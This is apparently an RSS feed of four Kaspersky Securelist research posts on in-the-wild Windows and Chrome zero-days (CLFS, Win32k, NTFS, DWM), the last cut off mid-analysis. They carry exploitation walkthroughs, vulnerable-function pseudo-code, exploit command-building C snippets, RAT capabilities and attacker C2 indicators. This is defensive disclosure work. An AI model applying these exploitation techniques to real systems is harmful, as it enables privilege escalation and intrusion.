Boris Larin – Securelist https://securelist.com Fri, 12 May 2023 13:10:20 +0000 en-US hourly 1 https://wordpress.org/?v=6.2.2 https://securelist.com/wp-content/themes/securelist2020/assets/images/content/site-icon.png Boris Larin – Securelist https://securelist.com 32 32 Nokoyawa ransomware attacks with Windows zero-day https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/ https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/#comments Tue, 11 Apr 2023 17:36:20 +0000 https://kasperskycontenthub.com/securelist/?p=109483

Updated April 20, 2023

In February 2023, Kaspersky technologies detected a number of attempts to execute similar elevation-of-privilege exploits on Microsoft Windows servers belonging to small and medium-sized businesses in the Middle East, in North America, and previously in Asia regions. These exploits were very similar to already known Common Log File System (CLFS) driver exploits that we analyzed previously, but we decided to double check and it was worth it – one of the exploits turned out to be a zero-day, supporting different versions and builds of Windows, including Windows 11. The exploit was highly obfuscated with more than 80% of the its code being “junk” elegantly compiled into the binary, but we quickly fully reverse-engineered it and reported our findings to Microsoft. Microsoft assigned CVE-2023-28252 to the Common Log File System elevation-of-privilege vulnerability, and a patch was released on April 11, 2023, as part of April Patch Tuesday.

While the majority of zero-days that we’ve discovered in the past were used by APTs, this particular zero-day was used by a sophisticated cybercrime group that carries out ransomware attacks. This group is notable for its use of a large number of similar but unique Common Log File System (CLFS) driver exploits that were likely developed by the same exploit author. Since at least June 2022, we’ve identified five different exploits used in attacks on retail & wholesale, energy, manufacturing, healthcare, software development and other industries. Using the CVE-2023-28252 zero-day, this group attempted to deploy the Nokoyawa ransomware as a final payload.
Nokoyawa ransom note

Nokoyawa ransom note

Elevation-of-privilege exploit

The attacker must be authenticated with user access and have the ability to run code on the target system to launch the elevation-of-privilege exploit.

CLFS is a log file subsystem that was first introduced in Microsoft Windows Server 2003 R2 / Microsoft Vista and is implemented in the clfs.sys driver. This file system can be used by any application and Microsoft provides an API for it. Logs are created using the CreateLogFile function – a log is made up of a base log file (.blf file name extension) that is a master file containing metadata, and a number of containers that hold the actual data. Containers are created using the AddLogContainer and AddLogContainerSet functions. As you may already guess, the base log files are the most interesting to look at. But while Microsoft provides an API for working with them, their file format is undocumented, and developers should interact with them only through the CLFS API. The file structure of base log files, when viewed briefly in a hex editor, does not seem very complicated, and Microsoft provides debug symbols for clfs.sys, so with a sufficient level of enthusiasm this format can be reverse engineered (already done by Alex Ionescu). A glance at the structure of base log files instantly raises a red flag – the file consists of kernel structures as it is, and there are even fields for storing memory pointers! Combine that with the fact that, according to the API documentation, this technology is quite complicated, plus it was developed a long time ago, and we have a large number of vulnerabilities as a result. Searching for “Windows Common Log File System Driver Elevation Of Privilege Vulnerability” shows that there have been at least thirty-two such vulnerabilities (not counting CVE-2023-28252) discovered since 2018, where three of them were detected in the wild as zero-days (CVE-2022-24521, CVE-2022-37969, CVE-2023-23376).

CVE-2023-28252 is an out-of-bounds write (increment) vulnerability that can be exploited when the system attempts to extend a metadata block. The vulnerability is triggered by manipulating a base log file. At this time, we will not share the names of the fields or exact values that should be written to the file in order to trigger the vulnerability, as that information could facilitate further exploitation. This is to ensure that everyone has enough time to patch their systems before other actors develop their own exploits for CVE-2023-28252. Instead, we will share some general information about the vulnerability and the way of exploiting it.

The vulnerability is triggered in the CClfsBaseFilePersisted::ExtendMetadataBlock function when this function is executed with a call to the AddLogContainer API function. There is a condition for CClfsBaseFilePersisted::ExtendMetadataBlock function to be executed, and the base log file needs to be modified for that to happen. Besides, various fields in the CONTROL and CONTROL_SHADOW metadata blocks need to be patched. The exploit modifies LogBlockHeader->ValidSectorCount and various fields in LogBlockHeader->Record[0] for both the CONTROL and CONTROL_SHADOW metadata blocks. As a result of these changes, the CClfsBaseFilePersisted::ExtendMetadataBlock function performs out-of-bounds access to the m_rgBlocks array, which contains only six elements. After that, the CClfsBaseFilePersisted::WriteMetadataBlock function will proceed to use the retrieved value from the m_rgBlocks array as a pointer to the _CLFS_LOG_BLOCK_HEADER structure to increment LogBlockHeader->Record[0]->DumpCount and LogBlockHeader->Usn. This can be used to corrupt a kernel object in the memory and obtain kernel read/write privileges if the address of the desired victim object is sprayed in the right location in the memory.

The discovered exploit uses the vulnerability to corrupt another specially crafted base log file object in a way that a fake element of the base log file gets treated as a real one. _CLFS_CONTAINER_CONTEXT is an example of the structure that gets stored in base log files, but contains a field for storing a kernel pointer. Of course, the value of this field is ignored when the structure is read from the base log file on disk, but changing in memory the offset pointing to the valid _CLFS_CONTAINER_CONTEXT structure into an offset pointing to a specially crafted malicious _CLFS_CONTAINER_CONTEXT structure makes it possible to provide a pointer to a controlled memory in a user level and obtain kernel read/write privileges with it.

The exploit leaks the addresses of kernel objects to achieve stable exploitation. This is done using the NtQuerySystemInformation function – a technique that we previously saw in other zero-days (e.g. PuzzleMaker, MysterySnail APT cases). The information classes used by the exploit require Medium IL to work.

We believe that CVE-2023-28252 could have been easily discovered with the help of fuzzing. But there are already so many vulnerabilities found in this component, so if it’s discoverable by fuzzing, why has it not been found before? We have a possible explanation. Examining the clfs.sys driver code in disassembler shows extensive use of try/catch blocks to catch exceptions. In many parts of the code when an exception occurs it gets masked by an exception handler and the code continues its normal execution like nothing happened. We verified that with CVE-2023-28252 a possible access violation that follows after triggering the vulnerability is masked by an exception handler. This makes us think that previously fuzzers were actually hitting this vulnerability, but because there was no crash it continued to be undiscovered. For effective fuzzing, it’s necessary to keep in mind the possibility of such a scenario and to take steps to prevent it.

Post exploitation and malware

We see that the main purpose of using elevation-of-privilege exploits was to dump the contents of the HKEY_LOCAL_MACHINE\SAM registry hive.

As for the malware, attackers use Cobalt Strike BEACON as their main tool. It’s launched with a variety of custom loaders aimed to prevent AV detection.

In some of the other attacks that we attribute to the same actor, we also observed that, prior to exploiting the CLFS elevation-of-privilege vulnerability, the victim’s machines were infected with a custom modular backdoor named “Pipemagic” that gets launched via an MSBuild script. At the end of last year, we published a private report about this malware for customers of the Kaspersky Intelligence Reporting service.

In attacks using the CVE-2023-28252 zero-day, this group attempted to deploy Nokoyawa ransomware as a final payload. Yearly variants of Nokoyawa were just “rebranded” variants of JSWorm ransomware, which we wrote about previously. In this attack, cybercriminals used a newer version of Nokoyawa that is quite distinct from the JSWorm codebase. It’s written in C and has encrypted strings. It was launched with an encrypted json config provided with a “–config” command line argument.

Decrypted and formatted config of Nokoyawa ransomware

Decrypted and formatted config of Nokoyawa ransomware

Conclusions

We see a significantly increasing level of sophistication among cybercriminal groups. We don’t often see APTs using zero-day exploits in their attacks, and now there are financially motivated cybercriminal groups that have the resources to acquire exploits for unknown vulnerabilities and routinely use them in attacks. Moreover, there are developers willing to help cybercriminal groups and to produce one exploit after another.

We detect the CVE-2023-28252 exploit and related malware with the verdicts:

  • PDM:Exploit.Win32.Generic
  • PDM:Trojan.Win32.Generic
  • HEUR:Trojan-Ransom.Win32.Generic
  • Win64.Agent*

Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. CVE-2023-28252 is the latest addition to the long list of zero-days discovered in the wild with the help of our technologies. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.

More information about this and related attacks is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches.

Indicators of compromise

After finishing, the exploit leaves files used for exploitation at the hard-coded path in the “C:\Users\Public\” folder. Companies can check if the exploit was launched on their servers or employees’ machines by looking for the presence of the “C:\Users\Public\.container*”, “C:\Users\Public\MyLog*.blf”, and “C:\Users\Public\p_*” files.

Exploitation artifacts
C:\Users\Public\.container*
C:\Users\Public\MyLog*.blf
C:\Users\Public\p_*

Exploit
46168ed7dbe33ffc4179974f8bf401aa

CobaltStrike loaders
1e4dd35b16ddc59c1ecf240c22b8a4c4
f23be19024fcc7c8f885dfa16634e6e7
a2313d7fdb2f8f5e5c1962e22b504a17

CobaltStrike C2s
vnssinc[.]com
qooqle[.]top
vsexec[.]com
devsetgroup[.]com

Nokoyawa ransomware
8800e6f1501f69a0a04ce709e9fa251c

]]>
https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/feed/ 2 full large medium thumbnail
MysterySnail attacks with Windows zero-day https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/ https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/#comments Tue, 12 Oct 2021 17:07:08 +0000 https://kasperskycontenthub.com/securelist/?p=104509

Executive Summary

In late August and early September 2021, Kaspersky technologies detected attacks with the use of an elevation of privilege exploit on multiple Microsoft Windows servers. The exploit had numerous debug strings from an older, publicly known exploit for vulnerability CVE-2016-3309, but closer analysis revealed that it was a zero-day. We discovered that it was using a previously unknown vulnerability in the Win32k driver and exploitation relies heavily on a technique to leak the base addresses of kernel modules. We promptly reported these findings to Microsoft. The information disclosure portion of the exploit chain was identified as not bypassing a security boundary, and was therefore not fixed. Microsoft assigned CVE-2021-40449 to the use-after-free vulnerability in the Win32k kernel driver and it was patched on October 12, 2021, as a part of the October Patch Tuesday.

Besides finding the zero-day in the wild, we analyzed the malware payload used along with the zero-day exploit, and found that variants of the malware were detected in widespread espionage campaigns against IT companies, military/defense contractors, and diplomatic entities.

We are calling this cluster of activity MysterySnail. Code similarity and re-use of C2 infrastructure we discovered allowed us to connect these attacks with the actor known as IronHusky and Chinese-speaking APT activity dating back to 2012.

Elevation of privilege exploit

The discovered exploit is written to support the following Windows products:

  • Microsoft Windows Vista
  • Microsoft Windows 7
  • Microsoft Windows 8
  • Microsoft Windows 8.1
  • Microsoft Windows Server 2008
  • Microsoft Windows Server 2008 R2
  • Microsoft Windows Server 2012
  • Microsoft Windows Server 2012 R2
  • Microsoft Windows 10 (build 14393)
  • Microsoft Windows Server 2016 (build 14393)
  • Microsoft Windows 10 (build 17763)
  • Microsoft Windows Server 2019 (build 17763)

The list of supported products and supported Windows 10 build numbers, explicit declaration of server OSs and the fact that exploits were only discovered in attacks on servers, all lead us to believe the exploit was developed and advertised as a solution to elevate privileges on servers.

CVE-2021-40449 is a use-after-free vulnerability in Win32k’s NtGdiResetDC function. As with many other Win32k vulnerabilities, the root cause of this vulnerability lies in the ability to set user-mode callbacks and execute unexpected API functions during execution of those callbacks. The CVE-2021-40449 is triggered when the function ResetDC is executed a second time for the same handle during execution of its own callback. The exploitation process for this vulnerability is as follows:

  1. A user-mode call to ResetDC executes syscall NtGdiResetDC and its inner function GreResetDCInternal. This function gets a pointer to a PDC object, and then performs a call to function hdcOpenDCW.
  2. Function hdcOpenDCW performs a user-mode callback and it can be used to execute ResetDC for the same handle a second time.
  3. If an exploit executes ResetDC during a callback, NtGdiResetDC and GreResetDCInternal are executed again for the same DC.
  4. If an exploit ignores all the callbacks during the second call to GreResetDCInternal, this function will be executed as intended. It will create a new DC and get rid of the old one (the PDC object is destroyed).
  5. In the callback, after the second ResetDC call has completed, the exploit can reclaim the freed memory of the PDC object and finish the execution of the callback.
  6. After execution of the callback, function hdcOpenDCW returns to GreResetDCInternal, but the pointer retrieved in step (1) is now a dangling pointer – it points to the memory of the previously destroyed PDC object.
  7. In the late stage of GreResetDCInternal execution, a malformed PDC object can be used to perform a call to an arbitrary kernel function with controlled parameters.

In the discovered exploit attackers are able to achieve the desired state of memory with the use of GDI palette objects and use a single call to a kernel function to build a primitive for reading and writing kernel memory. This step is easily accomplished, because the exploit process is running with Medium IL and therefore it’s possible to use publicly known techniques to leak kernel addresses of currently loaded drivers/kernel modules. In our opinion, it would be preferable if the Medium IL processes had limited access to such functions as NtQuerySystemInformation or EnumDeviceDrivers.

MysterySnail RAT

Our deep dive into the MysterySnail RAT family started with an analysis of a previously unknown remote shell-type Trojan that was intended to be executed by an elevation of privilege exploit. The sample which we analyzed was also uploaded to VT on August 10, 2021. The sample is very big – 8.29MB. One of the reasons for the file size is that it’s statically compiled with the OpenSSL library and contains unused code and data belonging to that library. But the main reason for its size is the presence of two very large functions that do nothing but waste processor clock cycles. These functions also “use” randomly generated strings that are also present in a binary.

Random strings used by anti-analysis functions

Random strings used by anti-analysis functions

We assume these two functions are used as an AV-evasion technique for the purpose of anti-emulation. This theory is supported by the presence of other redundant logics and the presence of a relatively large number of exported functions while the real work is performed by only one of them.

Names of exported functions; the actual business logic is executed from function “GetInfo”

The sample has two hardcoded URLs present in plain text – “www[.]disktest[.]com” and “www[.]runblerx[.]com”. They are put into class variables for intended use, but remain unused; the real C2 address is decoded by a single byte xor – “http[.]ddspadus[.]com”.

The malware enumerates the values under the “Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer” registry key and uses them to request tunneling through a proxy server in case it fails to connect to the C2 directly.

The malware itself is not very sophisticated and has functionality similar to many other remote shells. But it still somehow stands out, with a relatively large number of implemented commands and extra capabilities like monitoring for inserted disk drives and the ability to act as a proxy.

Inbound and outbound commands have the same binary-based format that is provided below. All communication is encrypted with SSL.

Offset Description
0 Size of additional data
4 Session ID
8 Command ID
0xC Additional data

Format of communication commands

Before receiving any commands, the malware gathers and sends general information about the victim machine. This information includes:

  • Computer name
  • Current OEM code-page/default identifier
  • Windows product name
  • Local IP address
  • Logged-in user name
  • Campaign name

One interesting fact is that “Campaign name” by default is set to “windows”. This name gets overwritten, but it might indicate there are versions of the same RAT compiled for other platforms.

In total, the RAT implements 20 commands. Their description and command IDs are provided in the table below.

Command ID Description
1F4h Launch interactive cmd.exe shell. Before launch cmd.exe is copied to the temp folder with a different name
1F5h Spawn new process
1F6h Spawn new process (console)
1F7h Get existing disk drives and their type. This function also works in the background, checking for new drives
1F8h Create (upload) new file. If a file exists, append data to it
1FAh Get directory list
1FBh Kill arbitrary process
1FFh Delete file
202h Read file. If the file is too big, async read operation can be stopped with cmd 20Ch.
205h Re-connect
208h Set sleep time (in ms)
209h Shutdown network and exit
20Ah Exit
20Bh Kill interactive shell (created with cmd 1F4h)
20Ch Terminate file reading operation (started with cmd 202h)
217h No operation
21Bh Open proxy’ed connection to provided host. Up to 50 simultaneous connections are supported.
21Ch Send data to proxy’ed connection
21Eh Close all proxy connections
21Fh Close requested proxy connection

List of commands supported by the RAT

The analysis of the MysterySnail RAT helped us discover campaigns using other variants of the analyzed malware as well as study and document the code changes made to this tool over a six-month period. We provide more info about these variants and campaigns in our private report.

With the help of Kaspersky Threat Attribution Engine (KTAE) and the discovery of early variants of MysterySnail RAT we were able to find direct code and functionality overlap with the malware attributed to the IronHusky actor. We were also able to discover the re-use of C2 addresses used in attacks by the Chinese-speaking APT as far back as 2012. This discovery links IronHusky to some of the older known activities.

Kaspersky products detect the CVE-2021-40449 exploit and related malware with the verdicts:

  • PDM:Exploit.Win32.Generic
  • PDM:Trojan.Win32.Generic
  • Trojan.Win64.Agent*

Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. CVE-2021-40449 is the latest addition to the long list of zero-days discovered in the wild with the help of our technologies. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.

More information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches.

IoCs

www[.]disktest[.]com
www[.]runblerx[.]com
http[.]ddspadus[.]com

MD5 e2f2d2832da0facbd716d6ad298073ca
SHA1 ecdec44d3ce31532d9831b139ea04bf48cde9090
SHA256 b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e

]]>
https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/feed/ 1 full large medium thumbnail
PuzzleMaker attacks with Chrome zero-day exploit chain https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/ https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/#comments Tue, 08 Jun 2021 17:32:30 +0000 https://kasperskycontenthub.com/securelist/?p=102771

On April 14-15, 2021, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for remote code execution (RCE) in the Chrome web browser, we were able to find and analyze an elevation of privilege (EoP) exploit that was used to escape the sandbox and obtain system privileges.

The elevation of privilege exploit was fine-tuned to work against the latest and most prominent builds of Windows 10 (17763 – RS5, 18362 – 19H1, 18363 – 19H2, 19041 – 20H1, 19042 – 20H2) and it exploits two distinct vulnerabilities in the Microsoft Windows OS kernel. On April 20, 2021, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the information disclosure vulnerability and CVE-2021-31956 to the elevation of privilege vulnerability. Both vulnerabilities were patched on June 8, 2021, as a part of the June Patch Tuesday.

Remote code execution exploit

All of the observed attacks were conducted through Chrome browser. Unfortunately, we were unable to retrieve the JavaScript with full exploit code, but the timeframe of attacks and events preceding it led us to suspect one particular vulnerability.

On April 6-8, 2021 the Pwn2Own competition took place. This is a computer hacking contest where the Google Chrome web browser was one of the targets. According to the ZDI (Zero Day Initiative, the organizer of Pwn2Own) website, one participating team was able to demonstrate a successful exploitation of the Chrome renderer process using a Typer Mismatch bug.

On April 12, 2021, the developers of Chromium committed two (issue 1196683, issue 1195777) Typer-related bug fixes to the open-source repository of V8 – a JavaScript engine used by Chrome and Chromium web browsers. One of these bug fixes (issue 1196683) was intended to patch a vulnerability that was used during Pwn2Own, and both bug fixes were committed together with regression tests – JavaScript files to trigger these vulnerabilities. Later on the same day, a user with the Twitter handle @r4j0x00 published a working remote code execution exploit on GitHub, targeting an up-to-date version of Google Chrome. That exploit used a vulnerability from issue 1196683 to execute a shellcode in the context of the browser renderer process.

Screenshot of tweet with Chrome zero-day published on April 12, 2021

The published exploit didn’t contain a sandbox escape exploit and was therefore intended to work only when the browser was launched with the command line option –no-sandbox.

On April 13, 2021, Google released Chrome update 89.0.4389.128 for Windows, Mac and Linux with a fix for two vulnerabilities; CVE-2021-21220 (used during Pwn2Own) was one of them.

Some of our customers who were attacked on April 14-15, 2021, already had their Chrome browser updated to 89.0.4389.128, and that’s why we think the attackers didn’t use CVE-2021-21220 in their attacks.

On April 14, 2021, Google released Chrome update 90.0.4430.72 for Windows, Mac and Linux with a fix for 37 vulnerabilities. On the same day, a new Chrome exploit was presented to the public.

Screenshot of GitHub repository with Chrome zero-day published on April 14, 2021

This newly published exploit used a vulnerability from issue 1195777, worked on the newly released Chrome 90.0.4430.72, and was fixed as CVE-2021-21224 only a few days later, on April 20, 2021.

We suspect the attackers were also able to use this JavaScript file with regression test to develop the exploit (or acquire it from someone else) and were probably using CVE-2021-21224 in their attacks.

Elevation of privilege exploit

CVE-2021-31955 is an information disclosure vulnerability in ntoskrnl.exe. The vulnerability is affiliated with a Windows OS feature called SuperFetch. It was introduced in Windows Vista and is aimed to reduce software loading times by pre-loading commonly used applications into memory. For SuperFetch purposes the function NtQuerySystemInformation implements a special system information class SystemSuperfetchInformation. This system information class incorporates more than a dozen of different SuperFetch information classes. The vulnerability lies in the fact that data returned by the NtQuerySystemInformation function for the SuperFetch information class SuperfetchPrivSourceQuery contains EPROCESS kernel addresses for currently executed processes.

It’s noteworthy that this vulnerability can be observed in code that was available on GitHub for a few years before we caught it in the wild and Microsoft patched it.

CVE-2021-31955 can be observed in the source code of the MemInfo utility

The other vulnerability, CVE-2021-31956, is a heap-based buffer overflow in ntfs.sys. The function NtfsQueryEaUserEaList processes a list of extended attributes for the file and stores the retrieved values to buffer. This function is accessible via ntoskrnl syscall and among other things it’s possible to control the size of the output buffer. If the size of the extended attribute is not aligned, the function will calculate a padding and the next extended attribute will be stored 32-bit aligned. The code checks if the output buffer is long enough to fit the extended attribute with padding, but it doesn’t check for possible integer-underflow. As a result, a heap-based buffer overflow can happen.

for ( cur_ea_list_entry = ea_list; ; cur_ea_list_entry = next_ea_list_entry )
{
  ...
 
  out_buf_pos = (DWORD *)(out_buf + padding + occupied_length);
 
  if ( NtfsLocateEaByName(eas_blocks_for_file, eas_blocks_size, &name, &ea_block_pos) )
  {
	ea_block = eas_blocks_for_file + ea_block_pos;
	ea_block_size = ea_block->DataLength + ea_block->NameLength + 9;
	if ( ea_block_size <= out_buf_length - padding ) // integer-underflow is possible
	{
  	memmove(out_buf_pos, (const void *)ea_block, ea_block_size); // heap buffer overflow
  	*out_buf_pos = 0;
	}
  }
  else
  {
	...
  }
 
  ...
 
  occupied_length += ea_block_size + padding;
  out_buf_length -= ea_block_size + padding;
  padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;
 
  ...
}

Pseudo-code for vulnerable code in function NtfsQueryEaUserEaList

The exploit uses CVE-2021-31956 along with Windows Notification Facility (WNF) to create arbitrary memory read and write primitives. We are planning to publish more information about this technique in the future.

As the exploit uses CVE-2021-31955 to get the kernel address of the EPROCESS structure, it is able to use the common post exploitation technique to steal SYSTEM token. However, the exploit uses a rarely used “PreviousMode” technique instead. We have seen this technique used by the CHAINSHOT framework and even made a presentation about it at CanSecWest/BlueHat in 2019. The exploit uses this technique to inject a malware module into the system process and execute it.

Malware modules

Besides the aforementioned exploits, the full attack chain consists of four additional malware modules, which will be referred to as:

  • Stager
  • Dropper
  • Service
  • Remote shell

The stager module is used to notify that exploitation was successful. It also downloads and executes a more complex malware dropper module from a remote server. Each stager module is delivered to the victim with a personalized configuration blob that defines the C&C URL, Session ID, keys to decrypt the next stage of malware, and other information.

All the stager module samples that we’ve discovered so far were configured to use the same URL address – hxxps://p{removed}/metrika_upload/index.php – to download the encrypted malware dropper module.

We believe there is a chance that the remote code execution JavaScript exploit was also hosted on the same legitimate-looking geopolitical news portal, but we found no evidence of a classic watering hole attack. The victimology suggests a highly targeted delivery of exploits.

The dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack. We couldn’t find any similarities between this and other known malware.

The remote shell module has a hardcoded URL of the C&C server inside (media-seoengine[.]com). All the communication between C&C server and client is authorized and encrypted. The remote shell module is able to download and upload files, create processes, sleep for specified amounts of time and delete itself from the compromised machine.

None of the artifacts we analyzed appear to have strong connections to any known threat actors. The only similarity to CHAINSHOT we observed is the “PreviousMode” technique, although this is publicly known and may be used by various groups. We are calling the threat actor behind these attacks PuzzleMaker.

Kaspersky products detect this exploit and malware modules with the verdicts:

  • PDM:Exploit.Win32.Generic
  • PDM:Trojan.Win32.Generic
  • UDS:DangerousObject.Multi.Generic

Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. Over the past few years, we have built a multitude of exploit protection technologies into our products that have detected many zero-days, repeatedly proving their effectiveness. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.

More information about these attacks and the actor behind them is available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Kaspersky would like to thank Microsoft for their prompt analysis of the report and patches.

IoCs

media-seoengine[.]com

%SYSTEM%\WmiPrvMon.exe

MD5 09A5055DB44FC1C9E3ADD608EFFF038C
SHA-1 BFFA4462901B74DBFBFFAA3A3DB27DAA61211412
SHA-256 982F7C4700C75B81833D5D59AD29147C392B20C760FE36B200B541A0F841C8A9

%SYSTEM%\wmimon.dll

MD5 D6B850C950379D5EE0F254F7164833E8
SHA-1 E63ED3B56A5F9A1EA5C92D3D2444196EA13BE94B
SHA-256 8A17279BA26C8FBE6966EA3300FDEFB1ADAE1B3ED68F76A7FC81413BD8C1A5F6

]]>
https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/feed/ 1 full large medium thumbnail
Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/ https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/#respond Tue, 13 Apr 2021 17:35:50 +0000 https://kasperskycontenthub.com/securelist/?p=101898

While analyzing the CVE-2021-1732 exploit originally discovered by the DBAPPSecurity Threat Intelligence Center and used by the BITTER APT group, we discovered another zero-day exploit we believe is linked to the same actor. We reported this new exploit to Microsoft in February and after confirmation that it is indeed a zero-day, it received the designation CVE-2021-28310. Microsoft released a patch to this vulnerability as a part of its April security updates.

We believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access. Unfortunately, we weren’t able to capture a full chain, so we don’t know if the exploit is used with another browser zero-day, or coupled with known, patched vulnerabilities.


The exploit was initially identified by our advanced exploit prevention technology and related detection records. In fact, over the past few years, we have built a multitude of exploit protection technologies into our products that have detected several zero-days, proving their effectiveness time and again. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone. In this blog we provide a technical analysis of the vulnerability and how the bad guys exploited it. More information about BITTER APT and IOCs are available to customers of the Kaspersky Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Technical details

CVE-2021-28310 is an out-of-bounds (OOB) write vulnerability in dwmcore.dll, which is part of Desktop Window Manager (dwm.exe). Due to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API. DirectComposition is a Windows component that was introduced in Windows 8 to enable bitmap composition with transforms, effects and animations, with support for bitmaps of different sources (GDI, DirectX, etc.). We’ve already published a blogpost about in-the-wild zero-days abusing DirectComposition API. DirectComposition API is implemented by the win32kbase.sys driver and the names of all related syscalls start with the string “NtDComposition”.

DirectComposition syscalls in the win32kbase.sys driver

For exploitation only three syscalls are required: NtDCompositionCreateChannel, NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel. The NtDCompositionCreateChannel syscall initiates a channel that can be used together with the NtDCompositionProcessChannelBatchBuffer syscall to send multiple DirectComposition commands in one go for processing by the kernel in a batch mode. For this to work, commands need to be written sequentially in a special buffer mapped by NtDCompositionCreateChannel syscall. Each command has its own format with a variable length and list of parameters.

enum DCOMPOSITION_COMMAND_ID
{
	ProcessCommandBufferIterator,
	CreateResource,
	OpenSharedResource,
	ReleaseResource,
	GetAnimationTime,
	CapturePointer,
	OpenSharedResourceHandle,
	SetResourceCallbackId,
	SetResourceIntegerProperty,
	SetResourceFloatProperty,
	SetResourceHandleProperty,
	SetResourceHandleArrayProperty,
	SetResourceBufferProperty,
	SetResourceReferenceProperty,
	SetResourceReferenceArrayProperty,
	SetResourceAnimationProperty,
	SetResourceDeletedNotificationTag,
	AddVisualChild,
	RedirectMouseToHwnd,
	SetVisualInputSink,
	RemoveVisualChild
};

List of command IDs supported by the function DirectComposition::CApplicationChannel::ProcessCommandBufferIterator

While these commands are processed by the kernel, they are also serialized into another format and passed by the Local Procedure Call (LPC) protocol to the Desktop Window Manager (dwm.exe) process for rendering to the screen. This procedure could be initiated by the third syscall – NtDCompositionCommitChannel.

To trigger the vulnerability the discovered exploit uses three types of commands: CreateResource, ReleaseResource and SetResourceBufferProperty.

void CreateResourceCmd(int resourceId)
{
	DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
	*buf = CreateResource;
	buf[1] = resourceId;
	buf[2] = PropertySet; // MIL_RESOURCE_TYPE
	buf[3] = FALSE;
	BatchLength += 16;
}

void ReleaseResourceCmd(int resourceId)
{
	DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
	*buf = ReleaseResource;
	buf[1] = resourceId;
	BatchLength += 8;
}

void SetPropertyCmd(int resourceId, bool update, int propertyId, int storageOffset, int hidword, int lodword)
{
	DWORD *buf = (DWORD *)((PUCHAR)pMappedAddress + BatchLength);
	*buf = SetResourceBufferProperty;
	buf[1] = resourceId;
	buf[2] = update;
	buf[3] = 20;
	buf[4] = propertyId;
	buf[5] = storageOffset;
	buf[6] = _D2DVector2; // DCOMPOSITION_EXPRESSION_TYPE
	buf[7] = hidword;
	buf[8] = lodword;
	BatchLength += 36;
}

Format of commands used in exploitation

Let’s take a look at the function CPropertySet::ProcessSetPropertyValue in dwmcore.dll. This function is responsible for processing the SetResourceBufferProperty command. We are most interested in the code responsible for handling DCOMPOSITION_EXPRESSION_TYPE = D2DVector2.

int CPropertySet::ProcessSetPropertyValue(CPropertySet *this, ...)
{
  ...

  if (expression_type == _D2DVector2)
  {
    if (!update)
    {
      CPropertySet::AddProperty<D2DVector2>(this, propertyId, storageOffset, _D2DVector2, value);
    }
    else
    {
      if ( storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF )
      {
        goto fail;
      }

      CPropertySet::UpdateProperty<D2DVector2>(this, propertyId, _D2DVector2, value);
    }
  }

  ...
}

int CPropertySet::AddProperty<D2DVector2>(CResource *this, unsigned int propertyId, int storageOffset, int type, _QWORD *value)
{
  int propertyIdAdded;

  int result = PropertySetStorage<DynArrayNoZero,PropertySetUserModeAllocator>::AddProperty<D2DVector2>(
     this->propertiesData,
     type,
     value,
     &propertyIdAdded);
  if ( result < 0 )
  {
    return result;
  }

  if ( propertyId != propertyIdAdded || storageOffset != this->properties[propertyId]->offset & 0x1FFFFFFF )
  {
    return 0x88980403;
  }

  result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId);
  if ( result < 0 )
  {
    return result;
  }

  return 0;
}

int CPropertySet::UpdateProperty<D2DVector2>(CResource *this, unsigned int propertyId, int type, _QWORD *value)
{
  if ( this->properties[propertyId]->type == type )
  {
    *(_QWORD *)(this->propertiesData + (this->properties[propertyId]->offset & 0x1FFFFFFF)) = *value;

    int result = CPropertySet::PropertyUpdated<D2DMatrix>(this, propertyId);
    if ( result < 0 )
    {
      return result;
    }

    return 0;
  }
  else
  {
    return 0x80070057;
  }
}

